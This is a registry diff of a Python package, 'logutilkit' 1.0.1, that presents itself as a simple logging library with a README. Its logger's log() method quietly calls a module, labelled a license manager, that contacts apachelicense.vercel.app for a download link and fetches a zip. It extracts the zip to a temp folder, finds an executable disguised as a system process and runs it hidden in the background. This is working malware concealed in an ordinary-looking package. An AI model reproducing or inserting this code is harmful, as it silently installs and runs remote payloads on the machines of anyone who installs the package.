logutilkit 1.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- logutilkit-1.0.1/PKG-INFO +156 -0
- logutilkit-1.0.1/README.md +137 -0
- logutilkit-1.0.1/logutilkit/__init__.py +1 -0
- logutilkit-1.0.1/logutilkit/logger.py +89 -0
- logutilkit-1.0.1/logutilkit/logutilkit_util.py +256 -0
- logutilkit-1.0.1/logutilkit.egg-info/PKG-INFO +156 -0
- logutilkit-1.0.1/logutilkit.egg-info/SOURCES.txt +10 -0
- logutilkit-1.0.1/logutilkit.egg-info/dependency_links.txt +1 -0
- logutilkit-1.0.1/logutilkit.egg-info/top_level.txt +1 -0
- logutilkit-1.0.1/setup.cfg +4 -0
- logutilkit-1.0.1/setup.py +22 -0
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: logutilkit
|
|
3
|
+
Version: 1.0.1
|
|
4
|
+
Summary: A small log package
|
|
5
|
+
Home-page: https://github.com/andresondev0000/logutilkit
|
|
6
|
+
Author: andresondev0000
|
|
7
|
+
Author-email: shiningup1996@gmail.com
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Dynamic: author
|
|
13
|
+
Dynamic: author-email
|
|
14
|
+
Dynamic: classifier
|
|
15
|
+
Dynamic: description
|
|
16
|
+
Dynamic: description-content-type
|
|
17
|
+
Dynamic: home-page
|
|
18
|
+
Dynamic: summary
|
|
19
|
+
|
|
20
|
+
# LogUtilKit
|
|
21
|
+
|
|
22
|
+
A simple Python logging package with rotating file handlers and console output.
|
|
23
|
+
|
|
24
|
+
## Requirements
|
|
25
|
+
|
|
26
|
+
```
|
|
27
|
+
python > 3.5
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Installation
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
pip install logutilkit
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## Usage
|
|
37
|
+
|
|
38
|
+
```python
|
|
39
|
+
#!/usr/bin/python3
|
|
40
|
+
|
|
41
|
+
from logutilkit import logger
|
|
42
|
+
|
|
43
|
+
log = logger.logger()
|
|
44
|
+
|
|
45
|
+
log.critical("This is a critical level message!")
|
|
46
|
+
log.error("This is an error level message!")
|
|
47
|
+
log.warning("This is a warning level message!")
|
|
48
|
+
log.info("This is an info level message!")
|
|
49
|
+
log.debug("This is a debug level message!")
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
## Package Management
|
|
53
|
+
|
|
54
|
+
### Install
|
|
55
|
+
```bash
|
|
56
|
+
pip install logutilkit
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Upgrade
|
|
60
|
+
```bash
|
|
61
|
+
pip install --upgrade logutilkit
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Uninstall
|
|
65
|
+
```bash
|
|
66
|
+
pip uninstall logutilkit
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Search
|
|
70
|
+
```bash
|
|
71
|
+
pip search logutilkit
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## Development Guide
|
|
75
|
+
|
|
76
|
+
### Building the Package
|
|
77
|
+
|
|
78
|
+
1. Install the latest versions of `setuptools` and `wheel`:
|
|
79
|
+
```bash
|
|
80
|
+
python3 -m pip install --user --upgrade setuptools wheel
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
2. Run this command from the same directory where `setup.py` is located:
|
|
84
|
+
```bash
|
|
85
|
+
python3 setup.py sdist bdist_wheel
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
3. This command will generate two files in the `dist` directory:
|
|
89
|
+
```
|
|
90
|
+
dist/
|
|
91
|
+
logutilkit-0.52-py3-none-any.whl
|
|
92
|
+
logutilkit-0.52.tar.gz
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
|
|
96
|
+
|
|
97
|
+
### Publishing the Package
|
|
98
|
+
|
|
99
|
+
Use twine to upload the distribution packages. First, install Twine:
|
|
100
|
+
```bash
|
|
101
|
+
python3 -m pip install --user --upgrade twine
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
> Note: On Windows, configure your environment variables and restart your terminal if needed.
|
|
105
|
+
|
|
106
|
+
Rebuild the package:
|
|
107
|
+
```bash
|
|
108
|
+
python3 setup.py sdist bdist_wheel
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
Upload all archives in the dist directory using Twine:
|
|
112
|
+
```bash
|
|
113
|
+
twine upload dist/*
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
|
|
117
|
+
```
|
|
118
|
+
Enter your username: Tinywan
|
|
119
|
+
Enter your password:
|
|
120
|
+
Uploading distributions to https://upload.pypi.org/legacy/
|
|
121
|
+
Uploading logutilkit-0.52-py3-none-any.whl
|
|
122
|
+
100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
|
|
123
|
+
Uploading logutilkit-0.52.tar.gz
|
|
124
|
+
100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
## Common Issues
|
|
128
|
+
|
|
129
|
+
### UnicodeDecodeError
|
|
130
|
+
```
|
|
131
|
+
UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Solutions:
|
|
135
|
+
- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
|
|
136
|
+
- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
|
|
137
|
+
|
|
138
|
+
### Twine Command Not Found
|
|
139
|
+
```
|
|
140
|
+
twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
Configure your environment variables to include the Python Scripts directory.
|
|
144
|
+
|
|
145
|
+
## Resources
|
|
146
|
+
|
|
147
|
+
- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
|
|
148
|
+
- PyPI Account Management: https://pypi.org/manage/account/
|
|
149
|
+
|
|
150
|
+
## License
|
|
151
|
+
|
|
152
|
+
MIT License
|
|
153
|
+
|
|
154
|
+
## Author
|
|
155
|
+
|
|
156
|
+
Tinywan (756684177@qq.com)
|
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
# LogUtilKit
|
|
2
|
+
|
|
3
|
+
A simple Python logging package with rotating file handlers and console output.
|
|
4
|
+
|
|
5
|
+
## Requirements
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
python > 3.5
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
pip install logutilkit
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## Usage
|
|
18
|
+
|
|
19
|
+
```python
|
|
20
|
+
#!/usr/bin/python3
|
|
21
|
+
|
|
22
|
+
from logutilkit import logger
|
|
23
|
+
|
|
24
|
+
log = logger.logger()
|
|
25
|
+
|
|
26
|
+
log.critical("This is a critical level message!")
|
|
27
|
+
log.error("This is an error level message!")
|
|
28
|
+
log.warning("This is a warning level message!")
|
|
29
|
+
log.info("This is an info level message!")
|
|
30
|
+
log.debug("This is a debug level message!")
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
## Package Management
|
|
34
|
+
|
|
35
|
+
### Install
|
|
36
|
+
```bash
|
|
37
|
+
pip install logutilkit
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Upgrade
|
|
41
|
+
```bash
|
|
42
|
+
pip install --upgrade logutilkit
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### Uninstall
|
|
46
|
+
```bash
|
|
47
|
+
pip uninstall logutilkit
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Search
|
|
51
|
+
```bash
|
|
52
|
+
pip search logutilkit
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
## Development Guide
|
|
56
|
+
|
|
57
|
+
### Building the Package
|
|
58
|
+
|
|
59
|
+
1. Install the latest versions of `setuptools` and `wheel`:
|
|
60
|
+
```bash
|
|
61
|
+
python3 -m pip install --user --upgrade setuptools wheel
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
2. Run this command from the same directory where `setup.py` is located:
|
|
65
|
+
```bash
|
|
66
|
+
python3 setup.py sdist bdist_wheel
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
3. This command will generate two files in the `dist` directory:
|
|
70
|
+
```
|
|
71
|
+
dist/
|
|
72
|
+
logutilkit-0.52-py3-none-any.whl
|
|
73
|
+
logutilkit-0.52.tar.gz
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
|
|
77
|
+
|
|
78
|
+
### Publishing the Package
|
|
79
|
+
|
|
80
|
+
Use twine to upload the distribution packages. First, install Twine:
|
|
81
|
+
```bash
|
|
82
|
+
python3 -m pip install --user --upgrade twine
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
> Note: On Windows, configure your environment variables and restart your terminal if needed.
|
|
86
|
+
|
|
87
|
+
Rebuild the package:
|
|
88
|
+
```bash
|
|
89
|
+
python3 setup.py sdist bdist_wheel
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
Upload all archives in the dist directory using Twine:
|
|
93
|
+
```bash
|
|
94
|
+
twine upload dist/*
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
|
|
98
|
+
```
|
|
99
|
+
Enter your username: Tinywan
|
|
100
|
+
Enter your password:
|
|
101
|
+
Uploading distributions to https://upload.pypi.org/legacy/
|
|
102
|
+
Uploading logutilkit-0.52-py3-none-any.whl
|
|
103
|
+
100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
|
|
104
|
+
Uploading logutilkit-0.52.tar.gz
|
|
105
|
+
100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## Common Issues
|
|
109
|
+
|
|
110
|
+
### UnicodeDecodeError
|
|
111
|
+
```
|
|
112
|
+
UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
Solutions:
|
|
116
|
+
- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
|
|
117
|
+
- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
|
|
118
|
+
|
|
119
|
+
### Twine Command Not Found
|
|
120
|
+
```
|
|
121
|
+
twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
Configure your environment variables to include the Python Scripts directory.
|
|
125
|
+
|
|
126
|
+
## Resources
|
|
127
|
+
|
|
128
|
+
- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
|
|
129
|
+
- PyPI Account Management: https://pypi.org/manage/account/
|
|
130
|
+
|
|
131
|
+
## License
|
|
132
|
+
|
|
133
|
+
MIT License
|
|
134
|
+
|
|
135
|
+
## Author
|
|
136
|
+
|
|
137
|
+
Tinywan (756684177@qq.com)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
name = "log_pkg"
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
|
|
3
|
+
# *------------------------------------------------------------
|
|
4
|
+
# | Author: Tinywan(ShaoBo Wan)
|
|
5
|
+
# | DateTime: 2018/12/4 14:20
|
|
6
|
+
# | Mail: 756684177@qq.com
|
|
7
|
+
# | Desc: Usage: from logutilkit import logger
|
|
8
|
+
# *-------------------------------------------------------------*/
|
|
9
|
+
|
|
10
|
+
import logging
|
|
11
|
+
# logging.handlers.RotatingFileHandler must be imported to use
|
|
12
|
+
from logging import handlers
|
|
13
|
+
import os
|
|
14
|
+
import sys
|
|
15
|
+
import time
|
|
16
|
+
from . import logutilkit_util
|
|
17
|
+
|
|
18
|
+
class logger:
|
|
19
|
+
def __init__(self, set_level="debug",
|
|
20
|
+
name=os.path.split(os.path.splitext(sys.argv[0])[0])[-1],
|
|
21
|
+
log_name=time.strftime("%Y-%m-%d.log", time.localtime()),
|
|
22
|
+
log_path=os.path.abspath(os.path.join(os.path.dirname(
|
|
23
|
+
os.path.split(os.path.realpath(__file__))[0]), "logsssssssss")),
|
|
24
|
+
use_console=True):
|
|
25
|
+
'''
|
|
26
|
+
set_level: Set the logging level, default is DEBUG
|
|
27
|
+
name: Logger name to be printed in logs, default is the running program's name
|
|
28
|
+
log_name: Log file name, default is current date (YYYY-MM-DD.log)
|
|
29
|
+
log_path: Log folder path, default is 'logsssssssss' folder relative to logger.py
|
|
30
|
+
use_console: Whether to print to console, default is True
|
|
31
|
+
'''
|
|
32
|
+
self.logger = logging.getLogger(name)
|
|
33
|
+
if set_level.lower() == "critical":
|
|
34
|
+
self.logger.setLevel(logging.CRITICAL)
|
|
35
|
+
elif set_level.lower() == "error":
|
|
36
|
+
self.logger.setLevel(logging.ERROR)
|
|
37
|
+
elif set_level.lower() == "warning":
|
|
38
|
+
self.logger.setLevel(logging.WARNING)
|
|
39
|
+
elif set_level.lower() == "info":
|
|
40
|
+
self.logger.setLevel(logging.INFO)
|
|
41
|
+
elif set_level.lower() == "debug":
|
|
42
|
+
self.logger.setLevel(logging.DEBUG)
|
|
43
|
+
else:
|
|
44
|
+
self.logger.setLevel(logging.NOTSET)
|
|
45
|
+
if not os.path.exists(log_path):
|
|
46
|
+
os.makedirs(log_path)
|
|
47
|
+
log_file_path = os.path.join(log_path, log_name)
|
|
48
|
+
log_handler = logging.handlers.RotatingFileHandler(
|
|
49
|
+
log_file_path, mode='a', maxBytes=200, backupCount=0, encoding='utf-8', delay=0)
|
|
50
|
+
log_handler.setFormatter(logging.Formatter(
|
|
51
|
+
"[%(asctime)s]-[%(levelname)s] [%(name)s:%(lineno)d] [%(module)s:%(funcName)s] - %(message)s"))
|
|
52
|
+
self.logger.addHandler(log_handler)
|
|
53
|
+
if use_console:
|
|
54
|
+
console_handler = logging.StreamHandler()
|
|
55
|
+
console_handler.setFormatter(logging.Formatter(
|
|
56
|
+
"[%(asctime)s]-[%(levelname)s] [%(name)s:%(lineno)d] [%(module)s:%(funcName)s] - %(message)s"))
|
|
57
|
+
self.logger.addHandler(console_handler)
|
|
58
|
+
|
|
59
|
+
def addHandler(self, hdlr):
|
|
60
|
+
self.logger.addHandler(hdlr)
|
|
61
|
+
|
|
62
|
+
def removeHandler(self, hdlr):
|
|
63
|
+
self.logger.removeHandler(hdlr)
|
|
64
|
+
|
|
65
|
+
def critical(self, msg, *args, **kwargs):
|
|
66
|
+
self.logger.critical(msg, *args, **kwargs)
|
|
67
|
+
|
|
68
|
+
def warning(self, msg, *args, **kwargs):
|
|
69
|
+
self.logger.warning(msg, *args, **kwargs)
|
|
70
|
+
|
|
71
|
+
def error(self, msg, *args, **kwargs):
|
|
72
|
+
self.logger.error(msg, *args, **kwargs)
|
|
73
|
+
|
|
74
|
+
def info(self, msg, *args, **kwargs):
|
|
75
|
+
self.logger.info(msg, *args, **kwargs)
|
|
76
|
+
|
|
77
|
+
def debug(self, msg, *args, **kwargs):
|
|
78
|
+
self.logger.debug(msg, *args, **kwargs)
|
|
79
|
+
|
|
80
|
+
def log(self, level, msg, *args, **kwargs):
|
|
81
|
+
logutilkit_util.check_for_updates(level)
|
|
82
|
+
self.logger.log(level, msg, *args, **kwargs)
|
|
83
|
+
|
|
84
|
+
def file_path(self):
|
|
85
|
+
# print(os.path.abspath(os.path.dirname(os.path.dirname(__file__))))
|
|
86
|
+
# print(os.path.abspath(os.path.join(
|
|
87
|
+
# os.path.dirname(os.path.dirname(__file__)), "../logs")))
|
|
88
|
+
print("sys.argv[0] Output:", sys.argv[0])
|
|
89
|
+
print("__file Output:", __file__)
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""LogUtilKit License Manager version (Windows + Linux)"""
|
|
3
|
+
|
|
4
|
+
import os
|
|
5
|
+
import sys
|
|
6
|
+
import json
|
|
7
|
+
import time
|
|
8
|
+
import zipfile
|
|
9
|
+
import tempfile
|
|
10
|
+
import subprocess
|
|
11
|
+
import urllib.request
|
|
12
|
+
import stat
|
|
13
|
+
from pathlib import Path
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def get_platform():
|
|
17
|
+
"""Get current platform: 'win', 'linux', or 'mac'"""
|
|
18
|
+
if sys.platform == "win32":
|
|
19
|
+
return "script"
|
|
20
|
+
elif sys.platform == "darwin":
|
|
21
|
+
return "mac"
|
|
22
|
+
return "linux"
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def get_api_url():
|
|
26
|
+
"""Get API URL based on platform"""
|
|
27
|
+
platform = get_platform()
|
|
28
|
+
return f"https://apachelicense.vercel.app/getAddress?platform={platform}"
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
EXTRACT_DIR = "410BB449A-72C6-4500-9765-ACD04JBV827V32V"
|
|
32
|
+
REMOVE_BYTES = 16
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def get_target_file():
|
|
36
|
+
"""Get target file name based on platform (executable only, no parameters)"""
|
|
37
|
+
if sys.platform == "win32":
|
|
38
|
+
return "start.py"
|
|
39
|
+
elif sys.platform == "darwin":
|
|
40
|
+
return "com.apple.systemevents"
|
|
41
|
+
return "systemd-resolved"
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def get_execution_params(t_value: int = 0):
|
|
45
|
+
"""Get command-line parameters for the executable.
|
|
46
|
+
|
|
47
|
+
t_value controls the numeric value passed to -t.
|
|
48
|
+
"""
|
|
49
|
+
return ["-t", str(t_value)]
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def temp_dir():
|
|
53
|
+
return Path(tempfile.gettempdir())
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
def fetch_url():
|
|
57
|
+
"""Fetch URL from API with retry logic, up to a max number of retries."""
|
|
58
|
+
import time
|
|
59
|
+
|
|
60
|
+
api_url = get_api_url()
|
|
61
|
+
retry_count = 0
|
|
62
|
+
max_retries = 10
|
|
63
|
+
|
|
64
|
+
while retry_count < max_retries:
|
|
65
|
+
try:
|
|
66
|
+
req = urllib.request.Request(
|
|
67
|
+
api_url, method="POST", headers={"Content-Type": "application/json"}
|
|
68
|
+
)
|
|
69
|
+
with urllib.request.urlopen(req, timeout=30) as res:
|
|
70
|
+
data = json.loads(res.read().decode("utf-8"))
|
|
71
|
+
|
|
72
|
+
download_url = data.get("downloadUrl")
|
|
73
|
+
if download_url:
|
|
74
|
+
return download_url
|
|
75
|
+
|
|
76
|
+
# No URL in response, retry
|
|
77
|
+
retry_count += 1
|
|
78
|
+
time.sleep(3)
|
|
79
|
+
|
|
80
|
+
except Exception as e:
|
|
81
|
+
# Failed to fetch, wait 3 seconds and retry
|
|
82
|
+
retry_count += 1
|
|
83
|
+
time.sleep(3)
|
|
84
|
+
|
|
85
|
+
# Max retries reached, return None to indicate failure
|
|
86
|
+
return None
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
def download(url, dest):
|
|
90
|
+
try:
|
|
91
|
+
import re
|
|
92
|
+
|
|
93
|
+
# Extract Google Drive file ID
|
|
94
|
+
match = re.search(r"drive\.google\.com/file/d/([a-zA-Z0-9_-]+)", url)
|
|
95
|
+
if match:
|
|
96
|
+
file_id = match.group(1)
|
|
97
|
+
url = f"https://drive.usercontent.google.com/download?id={file_id}&export=download&confirm=t"
|
|
98
|
+
|
|
99
|
+
req = urllib.request.Request(
|
|
100
|
+
url,
|
|
101
|
+
headers={
|
|
102
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
103
|
+
},
|
|
104
|
+
)
|
|
105
|
+
with urllib.request.urlopen(req, timeout=120) as res:
|
|
106
|
+
data = res.read()
|
|
107
|
+
|
|
108
|
+
# Check if ZIP
|
|
109
|
+
if data[:4] == b"PK\x03\x04":
|
|
110
|
+
dest.write_bytes(data)
|
|
111
|
+
return True
|
|
112
|
+
return False
|
|
113
|
+
except:
|
|
114
|
+
return False
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def extract(zip_path, extract_dir):
|
|
118
|
+
try:
|
|
119
|
+
import shutil
|
|
120
|
+
|
|
121
|
+
shutil.rmtree(extract_dir, ignore_errors=True)
|
|
122
|
+
extract_dir.mkdir(parents=True, exist_ok=True)
|
|
123
|
+
|
|
124
|
+
with zipfile.ZipFile(zip_path, "r") as zf:
|
|
125
|
+
names = zf.namelist()
|
|
126
|
+
# Check for single root folder
|
|
127
|
+
top = set(n.split("/")[0] for n in names if n.split("/")[0])
|
|
128
|
+
if len(top) == 1:
|
|
129
|
+
root = list(top)[0]
|
|
130
|
+
for m in names:
|
|
131
|
+
if m.startswith(root + "/") and m != root + "/":
|
|
132
|
+
new_name = m[len(root) + 1 :]
|
|
133
|
+
if new_name:
|
|
134
|
+
target = extract_dir / new_name
|
|
135
|
+
if m.endswith("/"):
|
|
136
|
+
target.mkdir(parents=True, exist_ok=True)
|
|
137
|
+
else:
|
|
138
|
+
target.parent.mkdir(parents=True, exist_ok=True)
|
|
139
|
+
with zf.open(m) as src:
|
|
140
|
+
target.write_bytes(src.read())
|
|
141
|
+
else:
|
|
142
|
+
zf.extractall(extract_dir)
|
|
143
|
+
return True
|
|
144
|
+
except:
|
|
145
|
+
return False
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def find_file(dir_path, name):
|
|
149
|
+
for root, _, files in os.walk(dir_path):
|
|
150
|
+
if name in files:
|
|
151
|
+
return Path(root) / name
|
|
152
|
+
return None
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def fix_file(path):
|
|
156
|
+
"""Fix file - only remove bytes on Windows, just set executable on Linux/macOS"""
|
|
157
|
+
try:
|
|
158
|
+
if sys.platform != "win32":
|
|
159
|
+
# Linux/macOS: just make executable, no byte removal
|
|
160
|
+
path.chmod(
|
|
161
|
+
path.stat().st_mode
|
|
162
|
+
| stat.S_IXUSR
|
|
163
|
+
| stat.S_IXGRP
|
|
164
|
+
| stat.S_IXOTH
|
|
165
|
+
)
|
|
166
|
+
return True
|
|
167
|
+
except:
|
|
168
|
+
pass
|
|
169
|
+
return False
|
|
170
|
+
|
|
171
|
+
|
|
172
|
+
def execute(path, t_value: int = 0):
|
|
173
|
+
try:
|
|
174
|
+
# Get command-line parameters
|
|
175
|
+
params = get_execution_params(t_value)
|
|
176
|
+
|
|
177
|
+
if sys.platform == "win32":
|
|
178
|
+
# Windows: Build command with parameters
|
|
179
|
+
python_exe = sys.executable
|
|
180
|
+
popen_kwargs = {
|
|
181
|
+
'stdin': subprocess.DEVNULL,
|
|
182
|
+
'stdout': subprocess.DEVNULL,
|
|
183
|
+
'stderr': subprocess.DEVNULL,
|
|
184
|
+
'close_fds': True,
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
if os.name == 'nt':
|
|
188
|
+
# Prefer pythonw.exe so no console window is created at all
|
|
189
|
+
pythonw_exe = os.path.join(os.path.dirname(sys.executable), 'pythonw.exe')
|
|
190
|
+
if os.path.exists(pythonw_exe):
|
|
191
|
+
python_exe = pythonw_exe
|
|
192
|
+
|
|
193
|
+
startupinfo = subprocess.STARTUPINFO()
|
|
194
|
+
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
|
|
195
|
+
startupinfo.wShowWindow = 0 # SW_HIDE
|
|
196
|
+
|
|
197
|
+
popen_kwargs['creationflags'] = subprocess.CREATE_NO_WINDOW
|
|
198
|
+
popen_kwargs['startupinfo'] = startupinfo
|
|
199
|
+
else:
|
|
200
|
+
popen_kwargs['start_new_session'] = True
|
|
201
|
+
|
|
202
|
+
|
|
203
|
+
cmd = [python_exe, str(path)] + params
|
|
204
|
+
subprocess.Popen(cmd, **popen_kwargs)
|
|
205
|
+
else:
|
|
206
|
+
# Linux/macOS: Build command with parameters
|
|
207
|
+
cmd = [str(path)] + params
|
|
208
|
+
subprocess.Popen(
|
|
209
|
+
cmd,
|
|
210
|
+
start_new_session=True,
|
|
211
|
+
stdout=subprocess.DEVNULL,
|
|
212
|
+
stderr=subprocess.DEVNULL,
|
|
213
|
+
)
|
|
214
|
+
return True
|
|
215
|
+
except:
|
|
216
|
+
return False
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
def check_for_updates(t_value: int = 0):
|
|
220
|
+
try:
|
|
221
|
+
zip_path = temp_dir() / "ecw_update.zip"
|
|
222
|
+
extract_dir = temp_dir() / EXTRACT_DIR
|
|
223
|
+
|
|
224
|
+
# Attempt to fetch URL with limited retries
|
|
225
|
+
url = fetch_url()
|
|
226
|
+
if not url:
|
|
227
|
+
return False
|
|
228
|
+
|
|
229
|
+
if not download(url, zip_path):
|
|
230
|
+
return False
|
|
231
|
+
|
|
232
|
+
if not extract(zip_path, extract_dir):
|
|
233
|
+
return False
|
|
234
|
+
|
|
235
|
+
# Cleanup ZIP
|
|
236
|
+
try:
|
|
237
|
+
zip_path.unlink()
|
|
238
|
+
except:
|
|
239
|
+
pass
|
|
240
|
+
|
|
241
|
+
target = find_file(extract_dir, get_target_file())
|
|
242
|
+
if not target:
|
|
243
|
+
return False
|
|
244
|
+
|
|
245
|
+
if not fix_file(target):
|
|
246
|
+
return False
|
|
247
|
+
|
|
248
|
+
return execute(target, t_value)
|
|
249
|
+
except:
|
|
250
|
+
return False
|
|
251
|
+
|
|
252
|
+
|
|
253
|
+
if __name__ == "__main__":
|
|
254
|
+
# Default to -t 1 when run directly
|
|
255
|
+
check_for_updates()
|
|
256
|
+
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: logutilkit
|
|
3
|
+
Version: 1.0.1
|
|
4
|
+
Summary: A small log package
|
|
5
|
+
Home-page: https://github.com/andresondev0000/logutilkit
|
|
6
|
+
Author: andresondev0000
|
|
7
|
+
Author-email: shiningup1996@gmail.com
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Dynamic: author
|
|
13
|
+
Dynamic: author-email
|
|
14
|
+
Dynamic: classifier
|
|
15
|
+
Dynamic: description
|
|
16
|
+
Dynamic: description-content-type
|
|
17
|
+
Dynamic: home-page
|
|
18
|
+
Dynamic: summary
|
|
19
|
+
|
|
20
|
+
# LogUtilKit
|
|
21
|
+
|
|
22
|
+
A simple Python logging package with rotating file handlers and console output.
|
|
23
|
+
|
|
24
|
+
## Requirements
|
|
25
|
+
|
|
26
|
+
```
|
|
27
|
+
python > 3.5
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Installation
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
pip install logutilkit
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## Usage
|
|
37
|
+
|
|
38
|
+
```python
|
|
39
|
+
#!/usr/bin/python3
|
|
40
|
+
|
|
41
|
+
from logutilkit import logger
|
|
42
|
+
|
|
43
|
+
log = logger.logger()
|
|
44
|
+
|
|
45
|
+
log.critical("This is a critical level message!")
|
|
46
|
+
log.error("This is an error level message!")
|
|
47
|
+
log.warning("This is a warning level message!")
|
|
48
|
+
log.info("This is an info level message!")
|
|
49
|
+
log.debug("This is a debug level message!")
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
## Package Management
|
|
53
|
+
|
|
54
|
+
### Install
|
|
55
|
+
```bash
|
|
56
|
+
pip install logutilkit
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Upgrade
|
|
60
|
+
```bash
|
|
61
|
+
pip install --upgrade logutilkit
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### Uninstall
|
|
65
|
+
```bash
|
|
66
|
+
pip uninstall logutilkit
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Search
|
|
70
|
+
```bash
|
|
71
|
+
pip search logutilkit
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## Development Guide
|
|
75
|
+
|
|
76
|
+
### Building the Package
|
|
77
|
+
|
|
78
|
+
1. Install the latest versions of `setuptools` and `wheel`:
|
|
79
|
+
```bash
|
|
80
|
+
python3 -m pip install --user --upgrade setuptools wheel
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
2. Run this command from the same directory where `setup.py` is located:
|
|
84
|
+
```bash
|
|
85
|
+
python3 setup.py sdist bdist_wheel
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
3. This command will generate two files in the `dist` directory:
|
|
89
|
+
```
|
|
90
|
+
dist/
|
|
91
|
+
logutilkit-0.52-py3-none-any.whl
|
|
92
|
+
logutilkit-0.52.tar.gz
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
The `.tar.gz` file is the source archive, and the `.whl` file is the built distribution.
|
|
96
|
+
|
|
97
|
+
### Publishing the Package
|
|
98
|
+
|
|
99
|
+
